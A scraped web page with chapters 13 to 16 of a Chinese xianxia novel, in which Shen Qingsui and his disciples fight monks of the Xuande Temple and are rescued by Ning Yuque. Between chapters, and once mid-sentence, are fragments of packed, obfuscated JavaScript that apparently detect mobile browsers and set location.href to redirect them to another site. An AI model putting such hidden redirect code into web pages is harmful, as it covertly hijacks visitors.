l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266336|166588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回去,阵法会破的吧?” 谢负尘眼睛亮亮:“会。” 咚咚声离得近了,白面木偶们秩序井然地走到床前,像一群训练有素的丫鬟,扶起沈轻随往外走去。 门外昏沉沉的,阴云蔽月,唯有一丝余亮能照出这是一条古拙的游廊。尽头的台阶下铺着一片宽阔的广场,两幢小楼一左一右直立在侧,拥着前面一座高大的殿宇。 谢负尘猜得不错,这是一个寺庙。 柏叶如针,在风中尖啸嗡鸣,刺破庄严的静谧。殿外是极不和谐的一片荒凉,单薄的月牙完全隐去,连一丝光也不见。一队恭谨的笑面人偶搀着一位衣衫褴褛的新娘,行在一条荒无人烟、鼠啮虫飞的小路上。 四野地面凹凸不平,荒草萋萋,残尸白骨掩映其间,空气中弥漫着浓重的血腥味。 乱葬岗。 幻境给人的沉沌感在慢慢减弱,沈轻随屏气凝神,警惕着各方的动静,心里愈发没底。 也许莺儿已经是这些荒尸中的一具了。 不多时,队列在一个土坑前停下了。坑沿的土痕迹很新,下面横着一副棺材,乌油油的底上盛着许多圆滚滚的果子,血红的干枣,惨白的莲子。 木偶们向他作了一个彬彬有礼的“请”。 什么样的情况下,人会将刚娶过门的娘子送进棺材?沈轻随百思不得其解,难道大费周章地抬人进门,就为了享用一夜的欢愉吗?……等一下,和尚娶亲?! 既已知了新娘去处,也就用不着和这些没脸怪物虚与委蛇了,沈轻随双手在一左一右两只木偶天灵盖上一扣,笑道:“是什么让你们觉得靠‘请’就能叫人乖乖去死?” 他十指深深扎入木偶脑中,不一会儿,它们就扁成了两张干皮。 沈轻随转手帕一样把两张皮转得风生水起,重影叠叠,利如风刃,就在他要大杀四方的时候,一道金光突如箭矢,直直冲他面门刺来。 他下意识拿木偶皮一挡,却不想顾了头没顾着尾,脚底冷不丁被什么绊了一下,扑咚一声滚进了棺材,里面铺得密密麻麻的红枣莲子几乎要给他砸出满背洞来。 沈轻随痛得龇牙咧嘴,还不待他反应,棺材盖便重重合上了。 沈轻随:“……” 真是日了狗了,这些木头是专阴人下三路的吗! 棺材应该是第一次接客,尚未来得及沾染死人的尸腐气,只有沉厚的闷灰味。沈轻随正要推盖而起,却听见耳边蓦地吹起一缕幽幽的哭声,在逼仄的棺中听得愈发真切。那声音脆嫩尖细,虚软无力,就像是……刚出生的婴孩。 哪来的孩子! 沈轻随猛地起了一身鸡皮疙瘩,在自己胳膊上掐了一把——该有的疼痛没有,手上摸到的是一团温热软绵的骨肉。 还真是个“鬼”地方!沈轻随心里大骂,手上蓄力往棺盖上重重一击,破土而出。 几个黄袍僧人站在坑边,见他出来,纷纷举杖竖眉:“什么人!” 沈轻随呸道:“我还问你们是什么人!大半夜来乱葬岗,赶尸吗?” 当即把两张木偶尸皮绞在一起,拧成一条粗壮的打狗棍,往一个和尚脑门上敲去。 14. 乘佛斗僧 和尚们功力竟是不俗,扭身一避,叫沈轻随敲了个空。几人飞身而起,各占一角,将沈轻随紧紧地围在中间,其动作之快不禁令人咋舌。 沈轻随掂量着和尚们的步法,把手里的棍子舞得虎虎生风,硬是充出一派不得了的气势,让他们不敢贸然靠近。 这些牛鼻子一出现,先前的白脸怪就瞬间消失得无影无踪,二者之间究竟有何关联? 和尚们手法娴熟,配合无间,而常年在衔风居养尊处优的怀微君实战经验可以说是几乎没有,靠着这具身体的老本拖了一阵,心知这样下去不是办法,当机立断地找准最弱的那个和尚把他一脚踹进棺材,旋即拔腿就跑。 他虽不擅长打斗,但在逃跑一事上却是人中翘楚,顺着之前来的小路狂奔,不多时就跑过了漫漫荒冢,看见了一开始那座鬼庙。 之所以说是鬼庙,只因它无匾无牌,没个名姓,供的也不知是哪路野神,也因它明显是这幻阵的产物,沈轻随刚冲进来,就觉出一股与外面严重割裂的混沌昏沉。 他往后望了一阵,见和尚们被他甩出老远一段,稍稍喘了口气,关上大门,正盘算着要如何利用这里把几个和尚一网打尽,谁知转身就和某样温热的事物撞了个满怀。 棺材里那团东西给他的阴影还在,沈轻随腿一软,差点跪了,好在马上就闻到了一股令人安心的胭脂香味,谢负尘托住他双臂,欣喜道:“怀微君,您回来了。” 沈轻随气得在他身上打了一下:“瞎跑什么,不是叫你在床上等我?” 谢负尘还没答话,就见黑暗中又变戏法似的钻出几只小黑团子,见了他一个个都眉眼带笑地扑过来:“怀微君!您回来啦!” 竟是那些本该守在李府阵外的弟子们。 沈轻随几欲吐血,他还没摸清楚外面那几个和尚的路数,光是对付他们就已经够麻烦了,哪里还顾得上这许多个小拖油瓶,急火攻心道:“谢负尘!你带他们来干什么,赶紧回去!” 风天阳笑得缺心少肺:“是我们自己要来的,看你们进去太久了担心嘛!” 沈轻随想死的心都有了,眼下也不是掰扯这个的时候,推搡着他们往里面走去:“快回去回去,后面有人追来了!” 宋湖扬起剑:“谁?” 说这几句话的工夫,外面已经传来了急促的脚步声,沈轻随忙道:“来不及了,都给我躲到神像后面去,别出声!我不叫你们就别出来!” 说罢自己先跳上了正中间的供台,躲到了本殿正神的后面。 弟子们面面相觑,都在对方脸上看到了茫然,什么东西能叫怀微君忌惮成这样?但还是乖乖照做,在大殿左右立着的众多佛像身后藏了起来。 殿门被轰一声推开,和尚们大步跨入。 好在他们格外具有职业操守,进门也不多检查检查,第一件事就是对着大殿正中的佛像——也就是藏着沈轻随的那一尊——拜了下去。 沈轻随心中一喜。果然,天底下的和尚都跟唐僧一样,不管真庙假庙,倒头就拜,对教义的虔诚已经刻进了骨子里,这可真是天助我也! 他料想和尚对佛像也会忌惮三分,顺势捏出一道拿腔拿调的声音,毫无心理负担地套上了佛祖的皮:“下跪何人?” 不管能不能骗到这些牛鼻子,先试着套个话再说! 佛像骤然开口,这可真是闻所未闻,和尚们俱是一惊,然隐约又见此佛周身有金光普照,忙双手合十,拜得更深。 “弟子善游。” “弟子慧飞。” “弟子……” 沈轻随一边手动打光,一边暗地里笑了个死去活来。这些和尚名字真有意思,擅游?会飞?从前只听说过花酒和尚,今天却让他碰上群鱼鸟和尚,险些要绷不住了。 他正了正语气,又道:“汝等何事,慌张如此?” 和尚道:“此处坟茔异动,弟子受师长之命前来察看,发现有人动了土中灵柩,棺里的女子不见了!” 有人?女子?难道是在说白脸怪和他吗?这么说和尚跟木偶不是一伙儿的? 佛像道:“可有认清是何人动了灵柩?” 和尚道:“那人身穿红衣,面敷厚粉,雌雄莫辨。弟子们一路追来,却在附近丢了他的踪迹,不知其是否避入寺中,敢问佛祖可有瞧见?” 沈轻随大骇,难道在和尚的眼里他才是那个掘坟偷尸的人?可是棺材里本来就没有尸体,他偷什么,空气吗? 他顿了一下,和尚又道:“弟子初临贵宝寺,理应将五将七尊一一拜过,然弟子与众师弟皆修习传灵道法,合该先行参拜本道菩萨,敢问寺中可立有慈姝殿?” 沈轻随被他叭叭一通,脑子都快打结了,什么“五将七尊”“传灵道法”“慈姝殿”的,他真的设定过这么复杂的东西吗?只能含糊道:“殿后便是,尔等自去。” 和尚们对视一眼,起身离开。 好机会! 沈轻随飞身窜到他们背后,猛地甩出一把刚画好的加强版炮仗符。此符经过改造,不仅在声亮上的气势拔高了一大截,同时还具有了不小的攻击性,只要被它弹到一点,马上就会被炸得血肉横飞! 不成想和尚们似乎早有准备,在他刚靠近的那一刻就挥杖凝出了一道结界,把砸过去的符咒全都弹了回来。 沈轻随见大事不妙,忙踮脚往边上闪去。 和尚们已经举杖朝他攻来:“果然是你!” 沈轻随把腿上碍事的碎裙子一撕,团成球扔到一个和尚脸上,夹着嗓子笑道:“大师们追奴家追得好生辛苦,莫不是动了凡心?” 那和尚被带着脂粉味的布料熏得一呕,怒道:“奸人休走!吃我一杖!” 沈轻随一边躲一边摊手:“哎哟,我也没走啊,大师父也太凶了些——看你们背后!” 和尚冷笑道:“垂死挣扎无益,还不快快束手就擒!” 他话音未落,却听身后闷闷一声巨响,耳边吹起尖锐的风声,一只巨大的拳头自上方重重砸下,眼看就要将他锤成一坨肉泥。 本该高坐供台的佛像,居然站起来了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266337|166588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那和尚还站在原地晃神,被身旁眼疾手快的同伴一抓,飞速闪避到十步开外,这才没被当场开瓢。他看上去简直要气疯了:“你这造业的毛贼,竟敢亵渎我佛,就不怕死后堕入地狱道,永世不得超生吗?!” 沈轻随翩然飞上佛像头顶,盘腿坐下了,全无所谓地笑道:“我只是为了自保而已,你们佛祖连这也要气一气?与其计较我亵渎他,还不如计较一下他的弟子们滥杀无辜!怎么看都是你们下地狱的可能性更大一点吧?” 他虽不擅长跟人真刀实枪地干架,但在贴符画咒方面却是信手拈来,方才趁着和他们口舌周旋的时机,在佛像的背后也画了一道傀儡符。 身下的巨型佛像动作灵活自如,步步紧逼,那些和尚又碍于心中敬畏不敢坏了佛祖金身,一时间被追来赶去,好不狼狈。 和尚怒道:“我等何曾滥杀无辜!” 沈轻随冷笑道:“那李家刚过门的娘子莺儿不是你们掳走的?眼馋人家讨新媳妇就算了,还要用这种肮脏的手段,还出家人呢,说出去也不怕笑话!还不快把人交出来!” 和尚叫道:“谁是莺儿,不曾听过!” 沈轻随眯眼思量,嘴上仍道:“还狡辩?傀儡戏不是你们放的?那你们大半夜来这里干什么?” 和尚道:“此地属我寺管辖,突生异动自然要来察看!什么傀儡戏和新娘子,你莫要含血喷人!” “?”沈轻随命佛像停下,“真不是你们?那还能是谁?” 眼看或许是个误会,自称善游的和尚上前一步,正要开口,谁料一声巨响,沈轻随整个人一歪,险些从佛像上摔下去。 却是慧飞和尚一拳打断了佛像的一条腿,叫道:“师弟,跟他废什么话!先把这人抓起来带回寺里再说!” “抓我?想得美。”沈轻随冷哼一声,跳到供台上唤道,“孩儿们都出来,把这些大师父请到我们府上做客去。” 之前是他拿不准这些和尚的底细,现在真正打了一回,才探出他们其实也没多大本事,这么些弟子一起上的话,围殴生擒还是不在话下的。 弟子们藏了半天,早就跃跃欲试了,偏碍于他“不叫就别出来”的命令,不敢轻举妄动,现在全都从各尊佛像后面跳了出来,一拥而上。 和尚们没想到殿里竟还潜伏了这么多人,惊愕之余赶紧迎战。 谢负尘三两步跃到沈轻随身边:“怀微君,您有伤到吗?” 沈轻随笑道:“怎么可能,我有这么废?” 谢负尘将他上下打量一遍,确定没有伤处,这才松了一口气,道:“他们方才说此地属其管辖,可李府所在之城并不崇尚佛教,而是兴修道观居多……” 沈轻随皱眉道:“你是说他们骗人?” 谢负尘摇摇头,目露忧色:“或许他们没有说谎,或许现在这个地方,比我们想象的还要远上许多!” 沈轻随眉头皱得更深:“那岂不是……” 话音未落,殿门忽地大开,数道凌厉的金光重重打来,把正与和尚缠斗的弟子们击倒在地。 15. 初见玄德 一颗颗黑得发亮的檀木念珠突然飞入,几个弟子被打中胸口,当场摔出了几丈远。 宋湖反应奇快,以剑作挡,连退数步,手里冰剑被念珠上的金光灼烧,竟融成了一滩滚烫的水,滴在地上嘶嘶作响,现出一块澄蓝色的宝玉。 她忙扑身去捡,却不防脸上挨了重重一脚,当即在空中滚了两圈砸翻了香案。 “师妹!”风天阳离她最近,刚甩出一道符咒堪堪击碎了念珠,还没来得及庆幸,就见师妹被人打成了这样,急得阵脚大乱。忽听背后一声闷响,他整个人倏地飞出,直接摔到了宋湖身上。 两人嘴角俱是鲜血,一个黄眉黄袍的老僧持杖走来,抬脚碾在宋湖的手背,骨头碎裂的声音在空旷的庙中显得格外清晰。他拨着手中佛珠,闭目而念:“一介女流,也敢造次如斯。阿弥陀佛!” 风天阳挣扎着去拔黄眉僧的脚:“快放开我师妹!” 宋湖的手掌被踩得血肉模糊,掌骨肯定碎了。她咬牙忍着,愣是一声没叫,眼神牢牢地黏在那块沸水中的澄蓝宝玉上,推风天阳道:“师兄,玉……” 和尚们见黄眉僧如见神兵,忙不迭跑过去聚在他身后,喜道:“师叔,您终于来了!” 电光石火之间,局势陡然扭转。 仿佛一根钢针狠狠地刺了过来,沈轻随的理智瞬间被怒火烧得一干二净,匆忙对谢负尘说了一句什么就冲了上去:“我操你大爷的,你这秃驴找死吗!” 他对着黄眉僧的小腹甩出一团凶狠的灵力,把和尚们逼得后退三步,动作极快地在风天阳腰下一勾,把他踢到了自己肩上,这货又噗地喷出一口血,淌了沈轻随一脖子,还趴在他耳边呵呵傻笑:“怀微君,好痛啊……” 沈轻随心痛得一缩,骂道:“闭嘴!”旋即一把捞起奄奄一息的宋湖,跳回谢负尘身边。 宋湖被他抱在怀里,双眼爬满了密密麻麻的血丝,右手绵软无力地垂着,还在颤巍巍地指道:“玉……” 那块玉是她凝剑的魂魄,向来是看得比眼珠子还重要的,沈轻随把二人往谢负尘怀里一塞:“丫头放心,一定帮你拿回来!”抬手凝起一道结界,隔绝了和尚和弟子们,对谢负尘道:“带他们出去了把阵打散,这里有我拖着!” “不行!”谢负尘脱口而出,“我也来!” “你来个屁!是怕咱们死得不够多是吧?管好你师兄师姐就行了,还不快滚!” 沈轻随说罢砰地甩出几张迷雾符,趁着和尚们视物不清,在地上飞快一掠,捡起蓝玉,飞身跳上佛像的头顶。 迷雾很快消散,黄眉老僧形容端肃地立着,面无表情却叫人见之生畏,他一双眼如鹰如狮,直勾勾地朝沈轻随看来:“佛祖?” 沈轻随紧张得出了一身冷汗,只恨平日里的一张巧嘴在这种时候没了威力,不知要与这只老秃驴如何周旋。忽而眼前一花,却是黄眉僧那串黑佛珠如蛇一般窜来,灵巧地套上了他的脖子。 沈轻随瞳孔猛地一缩。 那佛珠中间串了一颗精致的吊坠,蜜蜡琥珀,雕的是一头栩栩如生的雄狮。 以雄狮作徽的庙宇……沈轻随亲手捏出来的设定——坐镇东南的仙门,玄德寺! 修真界四大仙门地位相当,各据东西南北一地,因彼此相隔甚远,往来不多,故关系并不密切。沈轻随所在的披云山庄占了其中的“西”字,而玄德寺便是其中的“东”字,二者之间差的何止是一两座城,那可是数千里之遥! 沈轻随刚才还让谢负尘出去后立马通知剑阁让宁玉缺来救命,万万没想到,这个阵法竟然带他们到了玄德寺的地界,这么远的路,宁玉缺就算是把剑蹬冒烟了,起码也得半天才能到…… 他真的能撑到那个时候吗? 很快,沈轻随就发现了一个更不好的消息。 谢负尘焦急的声音自后殿响起:“怀微君,阵法好像在消散,出不去了!” “那就跑!越远越好!”沈轻随骂了一声,自暴自弃地控制着佛像往黄眉僧攻去,突然喉咙一痛。 却是脖子上的佛珠猛地嵌进肉里,骤然缩紧,勒得他几乎喘不过气来,头昏眼花地从佛像上摔了下去。 沈轻随想过一万遍的上吊终于有了实感,眼球突得吓人,他勉强扯出一个笑容:“大师……勿造杀孽啊……” 黄眉僧不像那些和尚一样好忽悠,无论他说什么都充耳不闻,只是专心致志地朝他打来。 硬如金刚的拳头在他胸腹连击数下,沈轻随觉得自己的五脏都快被捣成泥了,连呛数声,喷出一大口血。 脂粉和血沫一起混在脸上,他的眼睛被糊得睁不开了,额头暴起一条条可怖的青筋。忽然头皮一紧,黄眉僧抓着他的头发在地上猛砸数下,胃里咕噜翻涌一阵,血和酸水一起呕了出来,连气也喘不动了。 黄眉僧见沈轻随死得差不多了,把缠在他颈上的佛珠收起,往殿后的结界走去。 脚刚抬起来,袍角就被人狠狠一拽。 沈轻随被打得鼻青脸肿半死不活,还不忘挤出一个比哭还难看的笑容,身残志坚地道:“大师别走啊,我……咳咳,呸……还没玩够呐……” 黄眉僧古井无波的脸上终于有了些许波澜——可能是被恶心的,正要往他头上飞出一脚,僧袍却不知怎的突然烧了起来。 沈轻随泥鳅似的在地上滚了两圈,呸出两颗血淋淋的牙,艰难地撑墙坐起,笑道:“碳烤狮子头,尝尝吗?” 刚才趁着黄眉僧抬脚的片刻,沈轻随飞快地在他衣服上画了一个催火符。这符可不一般,催起的不是普通的火焰,而是天地炉的神火。 这火被东方尧调教多年,有了灵识,认得谁是披云山庄的主人,谁是要打的坏人,像条火蛇一样在黄眉僧身上游动,任他如何都无法扑灭。 黄眉僧恼羞成怒,把僧袍狠狠一撕,大喝一声往沈轻随咽喉掐去。 沈轻随已经被逼到角落,下意识闭上了眼睛。 该有的疼痛却没有来,抬头一看,却见谢负尘一头乌发尽数散开,束发的木簪化成一把拙朴而锐利的木剑,挡在他身前,生生斩断了黄眉僧的一只手。 黄眉僧冷哼一声,挥杖朝人脚下一扫。谢负尘避得更快,剑锋往他颈部削去,黄眉僧执佛珠一挡,砰的一声响,两者撞在一起,震得人耳中嗡鸣。 谢负尘趁他一瞬恍惚,手中剑影轮转重叠,叫人根本看不清他的动作。金光霍霍,虚实相欺,转眼间两人已拆了数招,只听“哧”的一声,木剑已深深没入黄眉僧的腹部。 黄眉僧一脸愕然,呵呵狞笑着将腰身一挺,谢负尘连同木剑被一同逼退数步,几个翻身落地,双瞳浸血,一息未喘就又向他刺去。 沈轻随看得呆了,他知道谢负尘的剑法不一般,却不知道已经强到了这种地步。 这些年来,谢负尘专心在术阁修习,除了跟宋湖切磋以外很少碰剑,偶尔被他逼着去参加花朝会上的剑术比试,结果也是有输有赢,泯然众人,问了就是浅浅一笑,说是“技不如人”。现在竟能和这个玄德寺长老级别的人物打得有来有回,以前分明是故意藏拙! 沈轻随一时间不知道该生气他的不自重,还是该欣慰他的不卖弄。 马上又回过神来,趁他们二人战得正酣,吐了自己一手血,偷偷溜到一边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266338|166588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄眉僧没想到这小子竟然如此难缠,正觉心烦气躁,忽听见有人叫道:“师叔救我!”往后一看,沈轻随正笑嘻嘻地站在他背后,手里还抓着一个面目惊恐的和尚。 既然搞不定耍剑的小子,不如抓这个放火的当人质!黄眉僧拂袖挥开谢负尘,飞身往沈轻随的方向扑去。 沈轻随不闪不避,任由自己被捏着脖子提在半空,脸上却还是笑着的。 黄眉僧手上越是用力,就越是觉得无力。他身上的法力正顺着手臂筋脉,汩汩地流向沈轻随,两人四周泄开刺眼的金光,地上血阵粼粼,妖冶而诡异。 不好,着了这家伙的道了! 黄眉僧一声怒喝,猛地将他甩出——没甩动,沈轻随像长了钩子似的紧紧扒住他的手臂,脸上含血的笑意看得人心里直发毛。 恰在此时,虚浮的古寺幻影轰然碎裂。 呼……呼…… 沈轻随刚睁开眼,就猝不及防地撞入了一对水盈盈的眸子。这双朦胧泪眼见他醒来,欣喜地一眨,两颗豆大的泪珠倏然落下,顺着鼻尖淌到了他的唇上。 冰冰凉凉的。 沈轻随正觉得口干舌燥,下意识伸出舌头舔了舔。 谢负尘胡乱把脸一擦,唤道:“怀微君。” 偏头往四周看了看,沈轻随心中叹息,临时画的传送阵果然不太靠谱。 这是一个纯种的荒郊野岭,上不着村下不着店,找块干净的能躺的地方都不容易。弟子们都已经醒了,三三两两地坐在一边调息,另外不知道为什么,那几个破和尚也被一起送了过来,正倒在地上,被一根粗壮的麻绳捆成了一团。 沈轻随则被谢负尘带着靠在一颗树下,头枕在他的腿上,身下垫的是他脱下来的外衣。脸大概也已经被擦干净了,舔泪的时候没舔到胭脂,嘴里浓浓的血腥味也没有了。 除却仍然滞涩得难受的喉咙,以及几乎散架的骨头以外,微风拂面,美人在怀,倒也称得上是赏心悦目。 沈轻随心态很好地闭上了眼睛,缓了半天才说出第一句话:“剑法不错。” 谢负尘扶着他肩膀的手明显一僵,怔了一会儿:“弟子知错。” 沈轻随像没听见一样,自顾自道:“你是个使剑的天才,去拜无阙剑为师吧,别跟着我了……跟耍帅过不去,你有病啊?” 他颈上被佛珠勒出了一条触目惊心的淤痕,说话很是艰难,可惜改不掉满嘴跑马的尿性,都这样了还不忘调笑两句。 谢负尘看得又是生气又是心疼,难以自抑地发起抖来,一颗心跳得几乎要撞出胸膛,眼睛活像春雨里的池塘,没一会儿又蓄满了水花。他这回连擦都不擦了,泪水啪嗒啪嗒地往下掉,全部砸在了身下人的脸上。 可怜怀微君全身上下只有舌头和眼珠还算灵活,一个忙着舔泪,一个忙着乱转,心中茫然是哪句话又刺激到了他,明明说得还挺诚恳,挺幽默的吧? 他这么想着,又死活不知地笑道:“好好的春天,怎么下起梅雨了?……唔,好酸,不好吃……给我换点酒来。” 谢负尘气道:“都这样了还想着喝酒!” 沈轻随道:“逗你笑笑嘛……不好笑吗?” 谢负尘偏过头,不说话了。 沈轻随嘴一瘪,挣扎着要爬起来:“哎哟——宁玉缺,无阙剑,好师弟——快来救命啊……你再不来,师兄我就要被一头秃驴打死了……” 谁知刚喊到“秃驴”二字,谢负尘布下的匿气结界就隐隐传来了碎裂之声。 沈轻随刚放下没多久的一颗心顿时又被吊到了嗓子眼,心中怒吼:“不是吧,运气真的会这么背吗?!” 16. 灭口秘辛 能一眼识破出自披云山庄的阵法结界,还能无声无息地凑近劈出裂痕,这是怎样恐怖的实力? 沈轻随大脑飞速旋转。 再布一个逃命的传送阵倒是容易,但找什么作为催动的阵眼呢?之前是趁黄眉僧不备强抢了他的法力启阵,一次就算了,还指望有第二次?人家又不是个傻的! 沈轻随眼神乱飘,忽然瞥见了那几个被捆在树边的和尚,脑中灵光一闪。 ——谁让你们师叔如此凶残,非要赶尽杀绝不可?实在不行的话,就不要怪我拿你们开刀了! 事实证明,人在生死攸关之际总能爆发出无限的潜力,刚才还拖着一身藕断丝连的残骨哎哟叫唤的怀微君,转眼就回光返照似的弹了起来。 然而脚还没来得及往外蹬上一步,肩膀就被一只有力的手掌揽了回去。 一鼓作出来的气瞬间泄了个干净,沈轻随身上一软,脚下一歪,被谢负尘接了个满怀。 沈轻随推他胸口喝道:“还愣着呢?准备逃命了!” 坐在地上调息的弟子们也察觉到了异动,宋湖蹭地跳起往树上一劈,抓住一根趁手的树枝挡在众人之前。 她右手伤得厉害,玉剑也被打散回了原型,眼下是用左手拿的树枝作剑,灰头土脸的样子像极一只丢了爪牙的小黑狼,口中发出呼噜呼噜的喘息,眼神凶狠地盯着结界的裂口。 只听轰的一声剑鸣,宋湖应声攻上,尘灰四起的朦胧之中,逐渐现出一个长身玉立的白衣人来。 “是无阙剑长老。”谢负尘抱着沈轻随坐回原处,不知从哪掏出一张翠嫩的蕉叶来,给他喂了些甜津津的水。 喂水的力道控制得很好,让这半残不至于咽得急了牵动喉咙的伤口,也不至于来不及喝溢出嘴角,水恰到好处地一点点流进唇齿,生动诠释了一回什么叫“饭来张口”。 现在日上中天,距他们从黄眉僧手底下溜走大概才过了几个时辰,宁玉缺竟来得比沈轻随想象中快了一倍不止。 可见他们兄弟情谊之深厚! 一醒来就得救,没有比这更好的消息了,沈轻随吊起的心又安稳揣了回去,嘴被堵着也不忘支起一个热烈欢迎的笑容,殷勤地向宁玉缺同志施以最高规格的注目礼。 宁玉缺黑着一张脸走近,手里拎猫一样拎着只同样脸黑的宋湖,将这群逃难的破落户上下打量了一遍,不可置信道:“你们被人抢了?” 沈轻随嘤嘤:“此事说来话长……” 谢负尘替他开口,三言两语把原委说了一遍,道:“怀微君伤得很重,先回披云山庄救治要紧。” “伤得很重”的怀微君仍是闲不下来,眼睛不安分地溜溜乱转,嘴里“嗯嗯呜呜”地附和着。 宁玉缺面无表情地把宋湖放在一边,丢给她一只小玉瓶,居高临下地看着沈轻随道:“起来。” 沈轻随嘻嘻道:“起不来,师弟背我……” 话音陡然刹住——宁玉缺脚边的细沙似乎在以一种怪异的状态颤动,随即身下传来一声又一声的闷震。 不远处的土坡上逐渐露出一个深褐色的人影。黄眉僧手持佛杖,沉步走来。他一张老脸皱如松皮,手上的念珠在阳光下非但没有呈出光泽,反而显得愈发幽深。 被捆在树边的几个和尚看见他,一个个眼泛泪花,把嘴里的布团喷出来嗷嗷叫道:“师叔!师叔救命,我们在这里!” 黄眉僧不紧不慢地掀开眼皮:“哦……原来在这里。” “就是他!师弟……咳,咳咳!”沈轻随比那些和尚还激动,差点被自己的唾沫给呛死,“揍死这秃驴!” 不用他说,宁玉缺早已执剑掠出,铮的一声响,飞来的佛珠被一刃银光挑断,珠子骨碌碌落了一地。 黄眉僧怒不可遏,翻掌向他劈来。宁玉缺足尖轻点,悠悠挽了个剑花。 刹那间鲜血四溅,黄眉僧被这剑浪逼得连退数步,手上皮肉已经被割得所剩无几,森白的掌骨浮在血中,赫然是一朵莲花的模样。 宁玉缺落在原地,衣衫雪白,丝血未沾。 好家伙,不愧是男主的师父,装逼都装得这么有格调! 沈轻随兴奋得直接坐了起来,哑着嗓子叫道:“砍得好!把他另一只手也砍了!” 黄眉僧一对狮眼瞪如铜铃,心知不是他的对手,大喝一声,召起地上的佛珠齐齐朝宁玉缺打去,带起一片狂沙,自己忙不迭拖着佛杖隐入其中,毫不拖泥带水地遁了。 “操!跑这么快!”沈轻随根本没看过瘾,想他被这秃驴打得那叫一个惊天地泣鬼神的凄惨,好不容易挨到了报仇雪恨的时候,居然就这么轻易地把人给放走了! 简直岂有此理!!! 正要命宁玉缺去追,忽听树后传来几声惨叫。 这叫声正好提醒了沈轻随,他啪地躺了回去,怒道:“风天阳!你别光顾着自己玩,快把那几只秃驴丢过来让我也扇两巴掌泄泄愤!” “啊?我没有呀。”风天阳的声音自另一边响起。 “那他们没事叫什么叫!”沈轻随扭头一看,猛地顿住。只见绑着和尚的麻绳已经断了,他们失了束缚却并无动作,人干似的歪七扭八堆在一起,殷红的血淌了一地。 宁玉缺横剑一扫,把几条和尚掀了过来,扑通滚在沈轻随面前。弟子们也都围了过来,众人看着俱是一愣。 这些和尚一共四个,其中两个被一颗黑檀念珠当胸贯入,已经没了呼吸。余下两个正是被沈轻随偷偷取笑过的“擅游”和“会飞”,虽然都还有命在,但是情况大不相同。 慧飞和尚身上嵌了两颗念珠,一颗在左胸,一颗在右背——想来背上这颗原本应该是属于善游和尚的,不想中途被他截断,没能顺利完成使命。 几个师兄在身旁瞬息毙命,善游虽然毫发未伤,却是惊恐万分,颤抖着去捂慧飞血流如注的心口:“师兄!师兄!” 慧飞当是四人中功力最深者,伤得最重,咽气倒是最晚,梗着的脖子上面爬满紫红色的青筋,眼球突得吓人,瞳孔缩成一个小点,气若游丝地对善游道:“逃!”说罢死死地盯着宁玉缺:“玄德秘辛……救我!” 这几个字似是用尽了他所有的力气,说完,脑袋就重重地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266339|166588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垂了下去。 善游像是疯了一样大叫起来:“师叔不是来救我们的吗?为什么要杀我们?为什么?!” 慧飞的眼睛还没有闭上,嘴巴微微张着,可惜已经不能再回答他了。 善游脸上的血色褪了个干干净净,整个人哆嗦得厉害,末了似乎反应过来什么,愣愣地回头看着宁玉缺:“……什么秘辛?” 宁玉缺冷笑道:“你问我?” “让你们被灭口的秘辛。”谢负尘掷了一颗丹药过去,手在沈轻随膝弯一抄,将他打横抱了起来,“给他服下,保其七日之内不死。” “你哪来的药?”沈轻随奇道。 他疑似天生不会享福,被谢负尘这么抱着不仅不能歇得心安理得,反而浑身控制不住地绷紧,每块肉都跟长错位了似的不自在,快抻成一条木棍了。 这时候他才意识到,他们被黄眉僧打得这么惨,现在居然都恢复得还可以,比如风天阳这厮,甚至已经开始活蹦乱跳了。 谢负尘目不斜视地带他走上前去:“事不宜迟,带他们回山再议。” 沈轻随顺势朝宁玉缺抛出一个媚眼:“师弟,背我一下!” 宁玉缺心知谢负尘定也伤得不轻,又一路奔波操劳,实在辛苦,便暂时把嫌脏的想法搁置一边,伸手去接沈轻随。 谁知谢负尘腰身一转,不动声色地避开了他伸过来的手,召出飞剑一脚踩上,彬彬有礼道:“弟子带怀微君先行告退。” 宁玉缺:“……” 沈轻随:“……” 谢负尘御剑极稳,不知使了什么伎俩,迎面吹来的风轻柔缠绵,周边还萦绕着令人安神的清苦药香。 没过多久,沈轻随就从一条梆硬的木头软成了一根纤软的柳枝。脸上被谢负尘垂下来的发丝轻轻扫着,他舒服地眯起了眼睛,笑道:“什么态度?人家可是你未来的师父,也不怕把人给得罪了。” 